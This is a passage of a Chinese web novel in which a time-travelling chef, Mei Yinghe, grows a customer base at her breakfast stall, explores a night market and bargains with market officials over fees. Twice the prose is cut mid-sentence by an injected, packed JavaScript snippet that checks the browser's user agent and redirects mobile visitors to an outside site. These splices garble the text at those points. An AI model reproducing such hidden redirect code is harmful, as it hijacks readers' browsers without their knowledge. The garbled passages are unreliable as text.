李婶儿整日说她是个憨妮子,可梅映禾觉得这样才好,不纠结不烦恼不内耗,这才是天生有福气的人。 梅映禾敛神专注卖早食,今日是带着新任务来的,除了帮小梅的卤鸡子打开局面,她的商业扩张计划也该快马加鞭了。 三个月转瞬即逝,时间过得快得很,梅映禾耽搁不起,进夜市的事情迫在眉睫,等是等不来机会的,耗下去也不会有任何转机,所以还得靠自己想办法。 现代的梅映禾是个拥有庞大粉丝量的顶级名厨,若是想做什么或者开个店铺,只需吆喝一声,食客粉丝们打着飞的都会来捧场。她拥有自己的社交账号,不但教粉丝烹饪小技巧,还顺带宣传一下自己的新菜或新店,热闹得很。 虽然现在没有科技与狠活儿,但是她有经验啊,重新积累粉丝、做推广、互动,又有什么不可以的呢。 这个时代没有网络,但其实传播度却不低,发生了什么事用不了三日,全京城的角角落落便都知道了,梅映禾仔细观察过,这要归功于几种人: 其一,说书先生。京城里的大事小情,他们没有不知道的,不但消息灵通,而且经过他们的添油加醋渲染包装后,更能增加大家对事情的好奇心,是非常重要的宣传途径之一。 其次,便是伶人和青楼楚馆里的妓子们。女子大多爱吃刁肴零嘴儿,本就是目标客群,再加上恩客数量庞大,这种地方传播度十分广泛,不能放过。 再次,还有走街串巷的脚夫和货郎,他们属于流动宣传员,而且知道什么地方人员密集有钱人多东西好卖,什么地方人群密度高消息传播广,若是能叫他们帮着宣传,必事半功倍。 这些还是后话,需得先定下新摊铺的地方才开始启动宣传。眼下却有现成的粉丝群体,就是每日排队买软饼的食客们。 抓住这一批人,那可是高转化率的有效客户。 这事在梅映禾的脑子已经转了好几日了,夜市要价太高且还要抽成,更离谱的是竟然还有介绍费这种不透明操作,一个小小的食铺子想要跟夜市市监司讨价还价,谈何容易。可是,如果她手里有筹码,能有让对方不敢轻视的资格,那谈判起来就容易得多,所以这庞大的粉丝群和高口碑的知名度是必须的。 说干就干,需要的道具都已经准备好了,即刻开始宣传。 “阿叔还要四个吗。”梅映禾一边熟练地操作,一边笑脸相迎,“阿叔若是觉得我的手艺还过得去,等我再开了新的摊铺,阿叔可要捧场哦。” 对方自然应了她,“小娘子手艺绝佳,开了新摊铺自然要去捧场的,不知小娘子新摊铺开在何处。” “地方还没定,等定了一定告知阿叔,有阿叔这句话,今日多送您一个鸡子。” 两个鸡子的软饼吃上去更加香软,男子高兴地千叮咛万嘱咐,“还请小娘子务必提前告知。” 梅映禾拿出纸笔,“阿叔若是愿意,便在这上头写下名字和住址吧,到时候我挨家挨户通知,再给阿叔一张我的名卡,拿这个给阿叔最低价。” 所谓名卡其实就是优惠卡,是梅映禾连夜做出来的,本着省钱的原则,搜集了哥哥修补房屋做柜子用剩的木头,让他帮忙裁切成一张一张手掌大小的薄薄的木片,上写:梅小早食铺贵宾卡,还编了号码,歪七扭八地签上了名字,用的时候便同客户登记册字对上编号,最后看到访率,还能筛选出铁杆粉丝,毕竟也不可能人人都来,能来三分之一已经不错了。 木片很薄,打磨得很光滑,梅映禾尽可能细致地涂上了一层清漆,使得原本粗糙的外表光滑了许多,而且这名卡形式新颖,还兼有打折的功能,实在是好东西,阿叔欣然接受,后头的食客们也纷纷登记然后索要名卡,揣进怀里护着宝贝一样喜气洋洋地走了。 如此这般,客户登记册就有了,优惠卡也发出去了,粉丝自然也积累上了。 一旁,小梅若有所思,“早儿这是要将这些人都收进自己的口袋里,赶明儿开了新铺子再放出来,一准儿好卖。” 话糙理不糙,梅映禾觉得小梅只是直爽,却并不憨。 “可是,这样实在有些慢。”小梅问她,“每日三四十人,要到什么时候才能堆得多起来啊。” 梅映禾笑了笑,“可别小看这些人,我这几日同她们聊天说话,大概也知道些。你看方才走的那位阿叔,便是二品大员府上的二管家,他必然和其他大官的管家都相熟,相互一说,消息就传出去了,知道的人不就多了。” “还有第一个排队的阿婶,她们虽只是普通人家,家里上有老下有小,可别小看这些主妇们,她们都有自己的固定育儿圈子、整治夫君圈子和买菜便宜圈子,这圈子里一传播,岂不是以一当十。所以不要以为他们是一个人,每个人都有自己的社会关系和圈层,觉得什么东西好了,大家都愿意分享推广,只要抓住其中一两个人,就不愁宣传不出去。” 还有读书的秀才,做买卖的商户,和娇俏的小娘子们……梅映禾觉得,这个时代最可爱的地方就是,人与人之间的联系是紧密的,无论什么身份,社会属性极强。 小梅听得云里雾里,虽然早儿的话她听不懂,但就是觉得很厉害。壮丫头憨憨地笑了笑,摸了摸头,继续卖自己的卤鸡子去了。 不明觉厉吗,对。 莫说小梅,连身后见识广博身经百战的赵行之也觉得这一番话实在值得细细琢磨。 小娘子是有点子东西的。 “日后全仰仗各位叔叔伯伯婶婶姐姐们的关照了。”梅映禾高声张罗着,“今日的所有软饼一律只要两文钱。” 队伍里热闹起来,大家议论纷纷,有打听新铺子的,有问梅小早烹饪技巧的,话题越说越发散,竟还有问她如何美容养颜的…… 没问题啊,这些,咱都不陌生,梅映禾一一耐心回答: “炖甲鱼啊,放辣子更好吃,再放几片五花肉那味道绝了,不为吃肉要的是那个味儿。” “家里可有胡椒那可是万用调料,肉类的菜都可以放,保准好吃。” “阿婶炒菜的时候可以放点儿糖,提味。炖肉炖骨头放点儿醋,骨头容易烂。所谓想要甜要加盐,糖醋味儿的菜加盐。” “阿姐记得,猪肉顺切,牛羊肉横切……” “焖米饭的时候水里加点儿油,这样焖出来的米饭粒粒分明,甚香。” “小娘子想皮肤好少吃糖少吃盐,皮肤白嫩不粗糙,防晒多喝水,多睡觉,胡瓜切片敷贴脸上对皮肤好,那自然贴完是不能吃了,记着净面之后贴啊。” “小郎君们深夜温书如果觉得疲累不妨吃点甜食果子,能增加能量让大脑活跃,但是记得不要吃米面,容易犯困。” …… 梅小早科普小课堂开课啦,大家围着小娘子叽叽喳喳好不热闹。 先谈别人再宣传自己: “小女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13931625|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的新摊铺的名字还没起呢,但是大家记得‘早’这个字便好了,我起的名字里必定带个早字。” 强化品牌记忆。 “地方也没定,倒是想去夜市,可是实在太贵了,先吃饱饭再说吧。” 吹出风去,开始造势。 “小木卡可要放好,长期有效,日后就不白送了,要银子买的还要提前预订。” 发VVVIP卡,提升尊贵感,粉丝积累基操。 这套行云流水的动作,梅映禾可是花了许多心思筹谋准备的。所谓事在人为,努力为自己增加筹码,希望可以让对方不敢小觑吧。 一切进行得很顺利,小梅在一旁一边卖卤鸡子,一边帮着登记发小木片,忙得不可开交。 赵行之手上动作逐渐慢下来,人也显得有些心不在焉,却仍旧不忘支起耳朵听她说话,面上不显心里却连连赞叹,新鲜、有趣、听不懂,但是……听上去似乎是有用的。 一单接着一单,很快就轮到了那扎眼的壮汉们,本以为来者不善,不承想对方一开口竟是夹子音: “小娘子辛苦了,来两个软饼,全都要。” 对方出乎意料地非常礼貌,脸上带着拘谨又僵硬的笑容。 来这都是客,梅映禾依旧照例宣传,对方欣然接受,好似十分欣喜,还祝她发财,听得心里贼舒服。 七八个人如出一辙,都各要了两三个,早食提前卖完,梅映禾继续帮忙卖旁边阿婶的包子,阿伯的汤羹,还有撒满了芝麻的烧饼和香喷喷热乎乎的馄饨,重点推出小梅姐的卤水鸡子: “这是我邻居阿姐,她娘做的卤水鸡子甚是好吃,大家都尝尝。” 梅映禾让小梅拨开一个鸡子,然后切成小块,分给食客和一起卖早食的邻居们都尝尝鲜,果然得到了一致认可。 李婶儿的卤水鸡子梅映禾十分喜欢,鸡子经过长期浸泡已经沁透了香料和调料的味道,从里到外都透着浓郁的香味,即便是带出来卖也是浸泡在卤水里,拎出来的鸡子上还挂着浓黑的汤汁,鸡子的壳已经被煮泡得裂开,像那官窑的瓷器,甚美,一看就知味道早就浸透。 小梅头一次做生意,方才也是看着梅映禾同食客们聊天,心里还琢磨,她没有小早的口才,这番话恐怕是说不出来的。原本想当哑巴的,现在却看她扯着嗓子大声吆喝卖鸡子,小梅噌地一下跳起身,“这个我会,我嗓门大着咧。” 学着梅映禾的话,小梅开始吆喝起来:“香喷喷的卤鸡子,走过路过不要错过,一文钱一个买不了吃亏买不了上当。” 很快,她带来的二十多个鸡子一下子就被抢空了,不仅如此,大家是纷纷预定明日的,还有人竟定了七日的,每日四颗,小梅粗算了一下,一日保守估计能卖四十个鸡子,一个鸡子一文钱,娘啊,一日就是四十文钱,可是要发财了。 “早儿,我赚银子了。”小梅喜滋滋地拉着她的手,“这是我长这么大头一次赚这么多钱咧。” “那你以后肯定还能赚更多。”梅映禾鼓励她。 小梅点头,“那阿爹阿娘就能顿顿都吃肉了,还能给九哥买新衣裳新鞋子了……” 哟,小娘子惦记心上人了,真好。 梅映禾捅捅她,“别光想着我哥,给你自己买,打扮得漂漂亮亮的。” 小梅摇头,“不用,我已经很漂亮了。”揍似辣么自信。 忙活完收拾东西回家,当日晚间,梅映禾又拉着小梅,“走,逛夜市吃好吃的去。” 小梅忙摇头捂着荷包,“不行不行,等赚够了再去。” 嗯,还真会过呢,梅映禾勾着她的胳膊,“我请客。” 那行。 13. 馄饨、鸡翅、酸辣粉 夜市有一个巨大的入口,城门楼子一样的建筑,却比城门楼子矮上许多,六道门只为看着壮观并无人看管查验,乌泱泱的百姓往里涌入,或呼朋唤友准备进去找个酒肆一醉方休;或闺蜜凑趣买些胭脂水粉或新鲜玩意儿;或领着夫人孩子一家子混个畅意的晚食;还有换下了朝服的官员,带着主家小郎君小娘子出来耍的小厮女使,以及各种穿着公服巡视维持秩序的衙差们…… 小梅抬头望着那黑夜中点着璀璨灯火的城门楼子直摇头,“像个吃人的巨兽,那两盏大红灯笼像红彤彤的眼睛,看着怪瘆人的。” 经她这么一说,梅映禾怎么看怎么像,原先搜集的关于这夜市的美好传说便显得违和了,一旦接受了这个设定,就回不去了。 梅映禾一直都觉得小梅姐不傻,非但不傻,眼光还非常毒。想想看这夜市,热闹非凡、门庭若市,可是其内商家未必赚得了很多银子。一来卖得东西大同小异,没什么新鲜感,二来市监司收的抽成太高了,还有各种乱七八糟的费用,逼得小贩们不得不提价,但是贵了就没人买……如此往复,如同鸡肋。 那为什么还要进夜市呢,梅映禾想得很清楚,她现在卖早食,早晨忙过之后白日里都要在家休息、备料,梅花村距离京城还是有些距离的,白日里出不来再做些旁的,只能靠晚上,可是晚上的生意和人气,也只有这夜市了。 这天底下就没有十全十美的事,夜市也并非梅映禾的终极目标,只是为了三个月内多赚些银子。往后的事往后再说吧,眼下先了解清楚,一切等进来了再说吧。 二人跟着大家一起进了门,眼前又是另一番景象。 确切说,这里仿佛一个小型的城池。街道纵横交错、四通八达,不分地段伯仲,道路两旁有林立的酒楼和雅致的酒肆;还有热闹嘈杂的脚店;道路两边都是一个一个的小摊铺,一样大小的铺面,卖的东西不一而足。 招牌幌子迎风招展,呼啦啦在脸前刮过,迎面便是各种美味的香气,人物嘈杂,灯火耀天。 铺面后头的人个个笑脸相迎,努力将路过驻足自家摊铺的小娘子、小郎君留住,一张嘴口若悬河、舌灿莲花。 小梅是第一次来夜市,挎着梅映禾的胳膊处处看着新鲜,一双眼都快不够用了。 “这里人真多啊。” “早儿,她们可真好看啊。” 她说的是街面上闲逛的小娘子们,一个个钗环珠翠满头,妆容浓重且精细,身上的衣裳也不似白日那般丝般厚重,都换上了轻巧飘逸的料子,走起路来好似天上的仙子又像蝴蝶在飞舞,甚是好看。 这里的街道繁多,大批的人潮涌入后便直奔着自己的目标而去,街面上的人其实并不很多。 “这里的东西可是真的贵呀……”小梅咂舌,荷包捂得更紧了。 的确是贵,比白日里外头街面上贵了近一半。 “贵也就罢了,还不好吃。”小梅手里拿着一串冰糖葫芦意兴正浓地啃着,“比起小早儿你做的,简直差远了。” 小梅的味蕾已被梅映禾死死拿捏,早已成为她的粉丝头子,小早指东她绝不奔西。 就像今晚,梅映禾拉着小梅逛夜市,她问都不问就随她出门了,所以,小梅并不知道梅映禾其实是来市调的。 二人相携走街串巷,边吃边逛,一大圈逛下来酒楼、酒肆和铺面不提,只看这些流动摊铺车子,果然还是卖吃食的和卖胭脂水粉、首饰头花的生意最好。 “这簪子可真好看啊。”小梅驻足一根白玉簪前,通体洁白只在尾端简单地雕刻了一朵非常写意的牡丹花,寥寥几笔,形神兼具,栩栩如生。 “小娘子好眼光啊。”卖簪子的妇人并未起身,只上下打量了她们一眼,“这根簪子价可高啊。” “小梅姐戴上试试。”梅映禾也觉得十分不错,伸出手想去拿起来,不料却被那妇人拦住。 “不买别动。”妇人脸上带着笑,可那笑却十分僵硬,“动坏了怕小娘子赔不起。” “不试试怎知合不合适,又怎么买呢。”梅映禾问。 妇人却连看都不看她们一眼,也不搭话了,一双眼直直盯着正在朝这边走过来的几人。 二人顺着妇人的眼神看过去,只见一名面如满月、穿金戴银,浑身上下富贵逼人的小娘子正款步而来, “娘子慢些走,奴婢都跟不上了。”身后的女使亦是衣着不俗,头上还簪着一根黄澄澄的素金簪。 “不用你跟,你且慢些走便是。”走在前头的小娘子头也不回懒散道。 “对对,睿儿丫头慢些走,本公子会保护好五娘的。” 说话的是一名男子,橙黄色的内领压翠绿色的宽边,一袭宝蓝色的锦衣,腰间缀着五彩丝线的锦带,还有一枚玉佩,一只小小的紫檀葫芦。 没看清人长什么样,单这一身衣裳配饰,啧啧,纨绔子弟。 这是梅映禾脑子里瞬间闪现的四个字。 “穿得像个舞狮子的。”小梅嘀咕一句,瞥了她们一眼。 “哟,五娘子来啦。”看摊铺的妇人满脸堆笑,忙直起身冲她们招手,“今日来了几样新东西,五娘子来看看。” 原来是熟客,梅映禾和小梅被挤到了边上。 “这玉簪不错。” 被唤五娘子的小娘子一眼便看中了方才小梅看中的玉簪,一旁的花公子便伸出手去捏了起来,“五娘试试看。” 五娘子并未搭理他,冲看摊铺的妇人道,“有镜子吗,我照照。” 妇人忙拿出铜镜,“有,有,五娘看好哪个尽管试戴。” “五娘生得好看,戴什么都好看。”花公子奉承道,“今儿只要你高兴,你看中什么哥哥都买给你。” 五娘子终于舍得看那花公子一眼了,只不过是十分鄙夷的眼神,“薛用夫,你是说我买不起吗。” “不是,不是,我是瞧着五娘这几日心绪不佳,想讨五娘欢心。” 那被称作薛用夫的花公子赔笑道,“其实五娘早就该出来玩乐了,那赵云策说是失踪多日,其实早就跑到不知什么地方逍遥快活去了,一定是遇上了娇媚小娘子,乐不思蜀了。” 五娘原本插簪子的手顿了一下,一把将玉簪甩给薛用夫,“你以为云策哥哥跟你一样,不学无术,他,他一定是有秘密任务,不便告知行踪。” 玉簪被砸在薛用夫身上,措手不及,摔成了几段。 薛用夫却置之不理,“好好好,算我说错话,你的云策哥哥最厉害,晋王殿下嘛,一定是替陛下执行重要的命令去了……” 气氛僵持,五娘显然没了心情,转脸就走,花公子薛用夫屁颠屁颠地跟在后头,几人好似完全都没看见那被摔坏的玉簪。 “哎,你们别走。”小梅一把薅住花公子的胳膊,鲜艳的锦衣瞬时被拧的皱成一团,“你们弄坏人家东西,就这么走了吗。” 几人回头,这才看到了站在一旁的梅映禾和小梅。 再看看摊铺后头愁眉苦脸却依然赔笑的妇人,五娘狠狠瞪了薛用夫一眼,吩咐女使,“去,给银子。” “不用,不用了。”妇人不敢收钱,一再推辞。 “大婶儿,方才我们想试戴你都舍不得,她们就这样把东西摔了,你却不让人家赔,你这分明是瞧不起人啊。”小梅质问妇人,妇人支支吾吾不敢多言。 “弄坏东西照价赔偿,天经地义。”梅映禾上前道,“大婶儿,你这簪子多少银子。” “哟,这小娘子好生俊俏。”薛用夫好似发现新大陆,全然不理会什么簪子不簪子的事,直勾勾不怀好意的眼神盯着梅映禾,嘴角笑得歪斜,脚步也朝着二人走过来。 小梅一步上前,将梅映禾挡在身后,瞪眼道,“你做甚。” 小娘子说着就要撸袖,梅映禾眼看着不好,忙拉着小梅转身快步离开,身后却依然响起那花公子激扬的声音:“小娘子家住何处啊……” “真丢人,赶紧走,别让这货再跟着本娘子。”五娘子瞥了二人远去的方向,又瞪了一眼快要流口水的薛用夫,命女使放下银子赶紧走了。 一个小小的插曲并未影响梅映禾和小梅逛夜市的心情,方才的事情也早就抛 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人影消失在夜色中,梅映禾甜甜的声音在身后响起,“多谢七哥,替我谢谢佑安小哥哥,我请吃饭……” 本以为他已经走了,梅映禾继续教梅九畴该怎么说,怎么介绍的话术,一不留神,赵行之站在眼前。 “七哥,又反悔了?” 赵行之面无表情地看着她,“这个,给你。” 说完,将一打宣纸塞到她手里,转身又走了。 梅映禾摊开来看,哇塞,原来是他画的梅小早食铺广告画,正中间是各种逼真的美食,辣条、薯条、江米条、软饼、肉夹馍……应有尽有,满满当当堆在一起各具特色,甚是热闹,后头是一碗大大的看着就让人眼馋的地锅鸡,还上了色,最上头还有招牌“梅小早试吃”以及一行小字:吃了还想吃。 呵,是她的话。 字迹俊秀,一看就知是习练书法多年,画出来的内容却……雅俗共赏。 哈哈哈哈,梅映禾仿佛看到了忙活一晚上,一边嫌弃一边认真画广告的七哥。 接下来的几日大家分头行动,将消息放出去:“三日后晚间,在夜市门口,梅小早食摊试吃活动,现场还有好礼送哦。” 为了能够将声势造的更大,光有零食是不够的,必得有能让人在现场吃的新鲜玩意儿。梅映禾想到了馄饨、鸡翅、酸辣粉。 馄饨有两种:鸡丝馄饨和红油馄饨。 都是猪肉馅的,鸡丝馄饨汤里不但有鸡丝还有蛋皮,出锅时撒上一把小葱,嘿,鲜香浓郁,老少咸宜。 至于那红油馄饨则是香辣味的,略放些糖,口感更有层次。 两种搭配能满足不同口味的食客。 鸡翅嘛很简单,胡椒的和辣椒的,抹上蜜烤得滋滋冒油,咬在嘴巴里必不能沾唇,不然会烫着,却又让人实在舍不得放凉了再吃,迫不及待,忍着烫也要吃上一口,在嘴巴里细细嚼着慢慢品味,外焦里嫩,酥脆香滑,一口气炫上两只,再配上一碗馄饨或者酸辣粉,这人生还有什么是过不去的呢。 最后一样才是梅映禾的重磅炸弹,是整个京城都没有的酸辣粉。如果不出所料,这应该是最受欢迎的。果然,在家里试吃的时候,小梅姐、李婶儿、奎叔一家三口就已经被折服了,再看哥哥,更是吃得满头冒汗,连汤汁都喝完了。 梅映禾又去看吃饭最斯文的七哥,虽然仍旧是妥帖文雅,迎着日光也能看出额角渗出细密的薄汗,和那张微微红润起来的脸,啧啧啧,七哥竟然是唯一一个身上没被溅到汤汁的,而且他吃的一口接一口,不像九郎那样狼吞虎咽,也不像李婶儿奎叔那般吸溜吸溜,他嗦粉没什么声音却停不下来,目不斜视吃得专注,微微翘起的唇上挂着橘红色略带透明的红油,两腮鼓鼓的,咦,差点儿忍不住上去捏捏。 得,大功告成。 消息放出去了,粉丝登记好了,增加的美食也一切就绪,正日子到了,梅映禾小手一挥:“走,跟着早姐砸场子去。” 14. 卤味谈判 天色渐晚,晚霞漫天。 梅九畴一脸担忧,“早儿,这样不好吧。” 自从他戴罪之身跟着梅映禾开始走正道之后,便对过去那些寻衅滋事的事十分抵触。偶有之前的狐朋狗友来找他都被撵走,断了联系。 梅九畴是真的用心,不想再惹事了,“现在的好日来之不易,咱们慢慢赚钱也是可以的,非要打上门去逼着人家同意你进夜市吗?” 梅映禾:…… 哥子的理解能力仅限于字面。 好一通解释,梅映禾说得口干舌燥,“不是打架,不找事也不闹事,我们就安安生生地在夜市门口摆摊,那儿本来不也有很多进不了夜市的摊贩吗,多我们一个不多吧。” “是不多,可是为什么呢,生意不好,去了也没用啊。” “因为,她想被人看见。” 这话是赵行之说的,梅映禾点头如捣蒜,给七哥比了个大拇指。 别说,这七哥语不惊人死不休,话不多却一击而中。 大概是小娘子的大拇指给了七哥小王爷力量,赵行之破天荒地多说了两句,“只有让市监司的人看到,他们才能知道小早的存在,才能有谈判的可能性。” 赵行之顿了顿,看着仍旧一脸不理解的梅九畴,又解释:“就好像打仗,你有策略,也得敌人重视你,你的策略才好发挥。如果敌人视你为蚊蝇,你便是有力气也使不出来。” 这么一说梅九畴是真的听懂了,“行吧,你们咋说,俺们咋办,是吧小梅。” 小梅将辣条塞进嘴里,“九郎,早儿有脑子,咱们就出力气就成。” 终于在天色完全黑下来之前,四人到了夜市门口。 这里平日零零星星会有几个摆摊的,因为没人驻足,所以只做流水买卖,一晚上也赚不了几个银子。 平板车索性当成了摊铺,铺上了毡毯,摆上盘碟垫纸,再将拢在一起成堆的赠品一筐一筐地放在一旁,梅映禾的摊铺前已经排成了队: “阿婶来啦,阿叔也来了,贵宾卡可带来了。” “赠品都有,贵宾卡半价,大家排队一个一个来。” “先尝后买,不好吃不要钱。” …… 老粉丝老食客们早就熟知规矩,就像买早食一样,大家自觉排起了长队,乍一看以为是排队进夜市的,仔细辨认才能看出来,队伍在大门外拐了三道弯。 “这三筐里都是赠品,不买光看也不要紧,您可以品尝,愿意的话留下贵宾资料,赠品照样给您,辣条、薯条、江米条三选一,每人都有。”梅映禾扯着嗓子开始宣传,“买吃食花银子的则三样赠品都有,瞧,我哥手里包着的就是。” “价格嘛不贵,辣条、薯条、江米条各两个算一份,两文钱。馄饨、酸辣粉两文钱一碗,鸡翅两文钱一串,一串两支。” 梅映禾一边手上忙碌做着美食,一边嘴上不停地介绍,有人问这是什么那是什么,也不厌其烦一遍又一遍地解释,毕竟嘛,都是来自科技时代的狠活儿,多解释几遍权当宣传了。 小梅听得多了也会说,一边帮忙解释宣传,一边负责收银子,这丫头别看平时粗枝大叶的,算账收银子可是从不会出错。 梅九畴站在车子后头,负责将要卖的零食和赠送的赠品分别包装待用。赵行之说他今日受了些风寒,带了顶草帽,站在黑暗的角落里跟着梅九畴一起负责包装,还不忘将自己画的广告画叠好露出最显眼的“梅小早”三个字在外头,放在那包装里头,这样,食客们拿在手里走街串巷地吃,也就顺带帮忙宣传了。 咦,七哥于商贾之事上颇有天分,梅映禾想。 生意火爆得很,有老食客直接排队买零食捧场的,也有或坐或站或蹲在车子周围,吸溜吸溜嗦粉的、斯哈斯哈吃馄饨的、砸吧砸吧啃鸡翅的……还有人领了赠品一尝觉得好吃,又重新排队来买的。自然也有人一圈一圈不嫌麻烦地排队专门领赠品的。 没关系啊,要的就是声势,要的就是人多,消息放出去,夜市里的游客听说了也都纷纷跑出来排队买一份,一时间队伍越排越长,人越来越多,竟显得那夜市的入口城门楼子冷清了。 这样扎眼的阵势,自然引起了巡逻衙差们的注意,三两个慢悠悠转过来,他们只负责夜市之内的安防和秩序,对于这外头的热闹只能照例询问。 梅映禾笑嘻嘻地解释,赔着笑脸还送上赠品,“差爷们若是觉得我们碍事,我们这就走,这就走。” 伸手不打笑脸人,更何况小娘子长得俊俏还送了吃的,几个人好言道,“那便再卖一会儿就走吧,别拖太久,让我们头儿看见不好。” “懂,懂。”梅映禾笑着应下,目送他们离去。 一连两三日,日日如此。 排队的人越来越多,声势越来越大。 文明修负手立在不远处望着,眼角眉梢微微上扬,这位小娘子看着好生面熟。 文大人是市监司的副司正,原是探花郎后入翰林院,前不久才被陛下钦点了这市监司的副司正,走马上任不过月余。 梅映禾先前跟市监司打交道入夜市的条件,接待她的是正司正郝政郝大人,一位三十多岁的老官。 这夜市是京城的象征,官府通过市监司收抽成和租银,也算是一项固定不菲的收入。只是这两年越发艰难起来,凡是牵扯到银子,必然引起大人物们的注意,这才将文明修派了过来。 文大人二十出头的年纪,正是一番好作为的时候,人很谦和脑子也活泛。这会儿瞧着小娘子做得风生水起,不免好奇,也跟着队伍上前排队去了。 他今日不该上职,于是穿了家常的衣裳,排了一炷香的工夫竟然过来四五个从夜市里出来询问并跟着一同排队的人。 这知名度,可见一斑。 文明修想,更加坚定了排队的信念。 小娘子卖的吃食文明修一样也没吃过,看着都新奇,干脆各买上两份,小娘子还替他担忧,“郎君是一个人吃吗,这分量不少,吃撑了可不好。” 头一回见卖家劝食客少买的,文明修笑得温和,“那就请小娘子都打包,我带回家中给二老尝尝。” 是个孝顺的郎君,梅映禾应得干脆,馄饨、鸡翅、酸辣粉一一打包,看着这位郎君还买了薯条那些零食,索性送了两份赠品,相当于多送了一份正装,感激得文明修连连道谢。 先不提这味道,光是小娘子的做派和体贴,还有这香喷喷惹人垂涎的味道,必定不俗。 文明修买了吃食也并未回家,给家中送去一些,剩下的带去了市监司署衙,今日是郝大人上职,看他来了还带来吃的,颇有几分惊讶。 “平日里并不见清砚爱吃,今日这是……”清砚是文明修的字。 “郝大人先莫问,趁热尝尝。”文明修将吃的摆了一桌案。 二人对坐吃起来。 文明修一口咬下那鸡翅,鲜香中带着麻辣,外焦里嫩,鸡翅被事先划了刀,腌制的味道都浸入肌理,香,实在是香。 郝政是个能吃辣爱吃辣的,一眼就相中那红油馄饨和酸辣粉,馄饨香气四溢,酸辣粉吃到嘴里顿时口齿生津,一口接一口根本停不下来。 二人狂炫了一阵,之后又吃了一些薯条和江米条改改味道,实在不能更满足了,这班加得都不觉得累了。 “不知清砚这些是从何处寻来的,从前竟都没吃过。”郝政端着茶盏慢慢啜饮。 “大人觉得味道如何?”文明修并不答话,反问他。 “好吃,味道奇特,吊足胃口。”郝政看着餐盘意犹未尽。 “这便是夜市门口那小娘子卖的。”文明修看着他。 郝政面色一肃,“可是这几日排队的那个?” 文明修点头,“正是,而且,这位小娘子大人也认得。先前来问过想进夜市,怕是觉得价贵,做罢了。” 就见郝政面色由惊转怒,“那她这样摆在门口岂不是明摆着同我们打擂台,岂有此理。” “大人话不能这么说。”文明修道,“这夜市门口本就可以摆摊,也不止她一家,如何成了打擂台了呢。” 夜市的收入一年不如一年,郝政自然明白上头派一个探花郎下来大材小用的目的,还不是觉得他不出成绩,做得不好呗,所以,自文明修来了之后,郝政也收敛了许多,再不似从前那般敛财,开始学着考虑长远。可冰冻三尺非一日之寒,更何况他坐在正司正的位子上,急于出业绩上交更多的银子,证明自己,便更加死死守着价格不松口,如此往复,竟成了死局。 “清砚这话如何解?” “这位小娘子不但东西做得好吃,而且还很有筹谋。”文明修慢慢道来,“大人可曾见过卖吃食的店家商铺同食客打成一片,甚至连人家家住何处、家中几口人,以何为生计,都知道的一清二楚的?” 郝政摇头。 文明修点头,“这便是这位小娘子的厉害之处,依我看,她仍旧想进夜市,也仍旧不能接受高价,所以才用这种方式告诉我们,她有实力,她想……” “她想威胁吗,有实力又如何。”郝政急脾气,大手一抬打断了文明修的话,“她缺银子,老子也缺银子,想进夜市一分都不能少。” “哎,大人少安毋躁。”文明修慢慢放下他抬起的手,“不妨先交涉一次,见个面,看看她究竟想干什么,其他的再说不迟。” 第一次正式谈判就这样定下了,衙差将消息告诉梅映禾的时候,小娘子丝毫不意外,连声道谢,又送了好些零食。 日子定在次日下午,梅映禾为此马不停蹄开始做卤味,卤鸡子、卤鸭翅、鸡胗鸭胗鸡肝鸭肝、还有鸡爪鸭掌、再来一些鸭脖子和鸭锁骨,够了,先这么多吧。 看着院子里满满两大筐,梅映禾笑得满足。 这些是早就在计划内要做的,天气凉了,吃点辣卤配上薄酒、暖茶,或佐以蜜饮,都是上好的消遣小食。 这做法也并不费劲,食材都是现成的,佐料也并不难买,梅映禾还特意请教了李婶儿又在她的配方上加足了辣,冲口霸道,最是让人欲罢不能。 别小看这些卤味,虽然上不得大席面,却是人人都爱的。高高在上的官人老爷们用它下酒畅谈,高贵典雅的主母们关起门来悄悄解馋,普通百姓餐桌下饭,秦楼楚馆里更是必备佳膳…… “无论什么人,日子总要过,饭总要吃的。”梅映禾终于将卤味装好,带去谈判。 看着满桌子的卤味,那香味一股一股往鼻子里钻,郝政的眉头拧成了疙瘩,“这些,拿下去吧,咱们说正事。” 哪有谈判带吃的,这些小民当真是不成体统,什么都不懂。 梅映禾笑道,“咱们没别的意思,这都是新做出来的,一片赤诚之心,就想请大人们尝尝。” 笑脸相迎,主打一个真诚。 文明修倒是兴致盎然,直接捏了一只鸭脖放进嘴巴里,笑眯眯的眉眼顿时舒展开来,老友似的夸赞,“好吃,郝大人,尝尝看。” 这位文大人梅映禾有印象,昨日买了许多嘛,人长得又年轻清秀,难免多看两眼。 郝政架不住文明修和梅映禾的劝,小梅非常有眼力见地直接每样各拿了一些送到了郝政和文明修面前。 梅映禾二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13954484|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也不拘束,自己先吃,气氛营造起来,再加上这位文大人的助攻,今日即便谈不成,也能用美食征服他。 对于这位文大人,梅映禾不知道他是什么来历,但能感觉到他是有意促成的,倒是这位古板的郝大人,长得方方正正、严苛冷面,说话也十分犀利,无非就是咬着价格舍不得松口。 这场谈判的气氛就这样莫名其妙地变成了边吃边谈的茶话会。 梅映禾始终一副“我不着急”的笑模样,开价却不松口,“租金每月1000文太多,500文我能接受,抽成最多三成,至于其他的费用嘛,我一文钱也掏不起,而且我觉得不合理。” 